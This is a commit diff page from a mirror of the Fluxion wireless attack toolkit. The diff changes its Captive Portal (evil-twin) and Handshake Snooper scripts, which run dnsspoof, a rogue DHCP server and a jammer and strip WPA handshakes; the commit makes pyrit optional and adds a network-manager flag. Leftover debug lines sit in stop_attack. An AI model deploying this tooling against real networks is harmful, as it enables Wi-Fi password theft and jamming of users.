Mirrors
/
fluxion
mirror of https://github.com/FluxionNetwork/fluxion.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Network-manager, & pyrit optional, plus bug fixes. 

Added a command line interface to the Captive Portal attack to prevent stopping the network manager.
Added code to auto-detect and utilize pyrit if available in the system, using alternatives otherwise.
Fixed a bug with some debug text that was outputting to std::out.
This commit is contained in:
Matias Barcenas 2020-04-26 20:08:05 -05:00
parent 597275372b
commit ebb7cc936f
3 changed files with 110 additions and 39 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

110
attacks/Captive Portal/attack.sh
View File

@ -246,11 +246,18 @@ captive_portal_set_authenticator() {
fluxion_target_show fluxion_target_show
local choices=( local choices=(
"$CaptivePortalVerificationMethodPyritOption"
"$CaptivePortalVerificationMethodCowpattyOption" "$CaptivePortalVerificationMethodCowpattyOption"
"$CaptivePortalVerificationMethodAircrackNG" "$CaptivePortalVerificationMethodAircrackNG"
"$FLUXIONGeneralBackOption"
) )
# Add pyrit to the options is available.
if [ -x "$(command -v pyrit)" ]; then
choices+=("$CaptivePortalVerificationMethodPyritOption")
fi
# Add back option.
choices+=("$FLUXIONGeneralBackOption")
io_query_choice "" choices[@] io_query_choice "" choices[@]
echo echo
@ -1186,8 +1193,8 @@ captive_portal_start_interface() {
# ============================================================ # # ============================================================ #
if [ ! "$CaptivePortalCLIArguments" ]; then if [ ! "$CaptivePortalCLIArguments" ]; then
if ! CaptivePortalCLIArguments=$( if ! CaptivePortalCLIArguments=$(
getopt --options="a:j:s:c:u:h:" \ getopt --options="a:j:s:c:u:h:n" \
--longoptions="ap:,jammer:,ssl:,connectivity:,ui:,hash:" \ --longoptions="ap:,jammer:,ssl:,connectivity:,ui:,hash:,network-manager" \
--name="Captive Portal V$FLUXIONVersion.$FLUXIONRevision" -- "$@" --name="Captive Portal V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
); then ); then
echo -e "${CRed}Aborted$CClr, parameter error detected..." echo -e "${CRed}Aborted$CClr, parameter error detected..."
@ -1220,6 +1227,8 @@ while [ "$1" != "" -a "$1" != "--" ]; do
# Assuming hash auth-mode here (the only one available as of now). # Assuming hash auth-mode here (the only one available as of now).
# WARNING: If more auth-modes are added, assume hash auth-mode here! # WARNING: If more auth-modes are added, assume hash auth-mode here!
CaptivePortalHashPath=$2; shift;; CaptivePortalHashPath=$2; shift;;
-n|--network-manager)
CaptivePortalNetworkManagerShutoff="disabled"; shift;;
esac esac
shift # Shift new parameters shift # Shift new parameters
done done
@ -1381,14 +1390,42 @@ stop_attack() {
captive_portal_stop_interface captive_portal_stop_interface
# Start the network-manager if it's disabled. # Start the network-manager if it's disabled.
if systemctl status network-manager.service &> /dev/null; then if [ "$CaptivePortalNetworkManagerShutoff" != "disabled" ]; then
if [ ! -x "$(command -v systemctl)" ]; then echo "Alright, got hit!"
if [ -x "$(command -v service)" ];then read bullshit
service network-manager.service if [ -x "$(command -v systemctl)" ]; then
if [ "$CaptivePortalDisabledNetworkManager" ]; then
systemctl restart network-manager.service &> $FLUXIONOutputDevice
systemctl restart networkmanager.service &> $FLUXIONOutputDevice
systemctl restart networking.service &> $FLUXIONOutputDevice
# Reset disabled network-manager flag.
CaptivePortalDisabledNetworkManager=""
fi
if [ "$CaptivePortalDisabledResolveD" ]; then
systemctl restart systemd-resolved.service &> $FLUXIONOutputDevice
# Reset disabled network-manager flag.
CaptivePortalDisabledResolveD=""
fi
elif [ -x "$(command -v service)" ]; then
if [ "$CaptivePortalDisabledNetworkManager" ]; then
service network-manager restart &> $FLUXIONOutputDevice
service networkmanager restart &> $FLUXIONOutputDevice
service networking restart &> $FLUXIONOutputDevice
# Reset disabled network-manager flag.
CaptivePortalDisabledNetworkManager=""
fi
if [ "$CaptivePortalDisabledResolveD" ]; then
service systemd-resolved restart &> $FLUXIONOutputDevice
# Reset disabled network-manager flag.
CaptivePortalDisabledResolveD=""
fi fi
systemctl stop network-manager.service
fi fi
fi fi
CaptivePortalState="Stopped" CaptivePortalState="Stopped"
} }
@ -1399,21 +1436,40 @@ start_attack() {
stop_attack stop_attack
if systemctl status network-manager.service &> /dev/null; then if [ "$CaptivePortalNetworkManagerShutoff" != "disabled" ]; then
if [ ! -x "$(command -v systemctl)" ]; then CaptivePortalDisabledNetworkManager=""
if [ -x "$(command -v service)" ];then CaptivePortalDisabledResolveD=""
service network-manager.service stop # Start the network-manager if it's disabled.
if [ -x "$(command -v systemctl)" ]; then
if systemctl status network-manager.service &> $FLUXIONOutputDevice ||
systemctl status networkmanager.service &> $FLUXIONOutputDevice; then
systemctl stop network-manager.service &> $FLUXIONOutputDevice
systemctl stop networkmanager.service &> $FLUXIONOutputDevice
CaptivePortalDisabledNetworkManager=1
else
echo "No network managers appear to be running." > $FLUXIONOutputDevice
fi fi
systemctl stop network-manager.service if systemctl status systemd-resolved.service &> $FLUXIONOutputDevice; then
fi systemctl stop systemd-resolved.service &> $FLUXIONOutputDevice
fi CaptivePortalDisabledResolveD=1
else
if systemctl status systemd-resolved &> /dev/null; then echo "No DNS resolvers appear to be running." > $FLUXIONOutputDevice
if [ ! -x "$(command -v systemctl)" ]; then fi
if [ -x "$(command -v service)" ];then elif [ -x "$(command -v service)" ]; then
service systemd-resolved stop if service network-manager status &> $FLUXIONOutputDevice ||
service networkmanager status &> $FLUXIONOutputDevice; then
service network-manager stop &> $FLUXIONOutputDevice
service networkmanager stop &> $FLUXIONOutputDevice
CaptivePortalDisabledNetworkManager=1
else
echo "No network managers appear to be running." > $FLUXIONOutputDevice
fi
if service systemd-resolved status &> $FLUXIONOutputDevice; then
service systemd-resolved stop &> $FLUXIONOutputDevice
CaptivePortalDisabledResolveD=1
else
echo "No DNS resolvers appear to be running." > $FLUXIONOutputDevice
fi fi
systemctl stop systemd-resolved.service
fi fi
fi fi
@ -1426,7 +1482,7 @@ start_attack() {
"dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" &
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalDHCPServiceXtermPID=$! CaptivePortalDHCPServiceXtermPID=$!
echo "DHCP Service: $CaptivePortalDHCPServiceXtermPID" echo "DHCP Service: $CaptivePortalDHCPServiceXtermPID" \
>> $FLUXIONOutputDevice >> $FLUXIONOutputDevice
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
@ -1435,7 +1491,7 @@ start_attack() {
"dnsspoof -i ${CaptivePortalAccessInterface} -f \"$FLUXIONWorkspacePath/hosts\"" & "dnsspoof -i ${CaptivePortalAccessInterface} -f \"$FLUXIONWorkspacePath/hosts\"" &
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalDNSServiceXtermPID=$! CaptivePortalDNSServiceXtermPID=$!
echo "DNS Service: $CaptivePortalDNSServiceXtermPID" echo "DNS Service: $CaptivePortalDNSServiceXtermPID" \
>> $FLUXIONOutputDevice >> $FLUXIONOutputDevice
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
@ -1447,7 +1503,7 @@ start_attack() {
-title "FLUXION Web Service" -e \ -title "FLUXION Web Service" -e \
"tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" & "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" &
CaptivePortalWebServiceXtermPID=$! CaptivePortalWebServiceXtermPID=$!
echo "Web Service: $CaptivePortalWebServiceXtermPID" echo "Web Service: $CaptivePortalWebServiceXtermPID" \
>> $FLUXIONOutputDevice >> $FLUXIONOutputDevice
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
@ -1482,7 +1538,7 @@ start_attack() {
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$! CaptivePortalJammerServiceXtermPID=$!
fi fi
echo "Jammer Service: $CaptivePortalJammerServiceXtermPID" echo "Jammer Service: $CaptivePortalJammerServiceXtermPID" \
>> $FLUXIONOutputDevice >> $FLUXIONOutputDevice
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
@ -1491,7 +1547,7 @@ start_attack() {
-e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
local -r authService=$! local -r authService=$!
echo "Auth Service: $authService" echo "Auth Service: $authService" \
>> $FLUXIONOutputDevice >> $FLUXIONOutputDevice
} }

20
attacks/Handshake Snooper/attack.sh
View File

@ -82,9 +82,14 @@ handshake_snooper_arbiter_daemon() {
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \ mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
"$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
else else
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \ if [ -x "$(command -v pyrit)" ]; then
-o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \ pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \
$FLUXIONOutputDevice -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \
$FLUXIONOutputDevice
else
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
"$FLUXIONWorkspacePath/capture/recent.cap" &> $FLUXIONOutputDevice
fi
fi fi
now=$(env -i date '+%H:%M:%S') now=$(env -i date '+%H:%M:%S')
@ -273,11 +278,16 @@ handshake_snooper_set_verifier_identifier() {
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
local choices=( local choices=(
"$FLUXIONHashVerificationMethodPyritOption"
"$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONHashVerificationMethodAircrackOption"
"$FLUXIONHashVerificationMethodCowpattyOption" "$FLUXIONHashVerificationMethodCowpattyOption"
"$FLUXIONGeneralBackOption"
) )
# Add pyrit to the options is available.
if [ -x "$(command -v pyrit)" ]; then
choices+=("$FLUXIONHashVerificationMethodPyritOption")
fi
choices+=("$FLUXIONGeneralBackOption")
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@] io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
echo echo

19
fluxion.sh
View File

@ -22,7 +22,7 @@ readonly FLUXIONNoiseFloor=-90
readonly FLUXIONNoiseCeiling=-60 readonly FLUXIONNoiseCeiling=-60
readonly FLUXIONVersion=6 readonly FLUXIONVersion=6
readonly FLUXIONRevision=6 readonly FLUXIONRevision=7
# Declare window ration bigger = smaller windows # Declare window ration bigger = smaller windows
FLUXIONWindowRatio=4 FLUXIONWindowRatio=4
@ -172,11 +172,11 @@ fi
# FLUXIONDebug [Normal Mode "" / Developer Mode 1] # FLUXIONDebug [Normal Mode "" / Developer Mode 1]
if [ $FLUXIONDebug ]; then if [ $FLUXIONDebug ]; then
:> /tmp/fluxion_debug_log :> /tmp/fluxion.debug.log
readonly FLUXIONOutputDevice="/tmp/fluxion_debug_log" readonly FLUXIONOutputDevice="/tmp/fluxion.debug.log"
readonly FLUXIONHoldXterm="-hold" readonly FLUXIONHoldXterm="-hold"
else else
readonly FLUXIONOutputDevice="/tmp/execution.log" readonly FLUXIONOutputDevice=/dev/null
readonly FLUXIONHoldXterm="" readonly FLUXIONHoldXterm=""
fi fi
@ -282,7 +282,7 @@ fluxion_startup() {
"aircrack-ng" "bc" "awk:awk|gawk|mawk" "aircrack-ng" "bc" "awk:awk|gawk|mawk"
"curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd"
"iwconfig:wireless-tools" "macchanger" "mdk4" "dsniff" "mdk3" "nmap" "openssl" "iwconfig:wireless-tools" "macchanger" "mdk4" "dsniff" "mdk3" "nmap" "openssl"
"php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "php-cgi" "xterm" "rfkill" "unzip" "route:net-tools"
"fuser:psmisc" "killall:psmisc" "fuser:psmisc" "killall:psmisc"
) )
@ -1578,12 +1578,17 @@ fluxion_hash_verify() {
fluxion_target_show fluxion_target_show
local choices=( \ local choices=( \
"$FLUXIONHashVerificationMethodPyritOption" \
"$FLUXIONHashVerificationMethodAircrackOption" \ "$FLUXIONHashVerificationMethodAircrackOption" \
"$FLUXIONHashVerificationMethodCowpattyOption" \ "$FLUXIONHashVerificationMethodCowpattyOption" \
"$FLUXIONGeneralBackOption" \
) )
# Add pyrit to the options is available.
if [ -x "$(command -v pyrit)" ]; then
choices+=("$FLUXIONHashVerificationMethodPyritOption")
fi
options+=("$FLUXIONGeneralBackOption")
io_query_choice "" choices[@] io_query_choice "" choices[@]
echo echo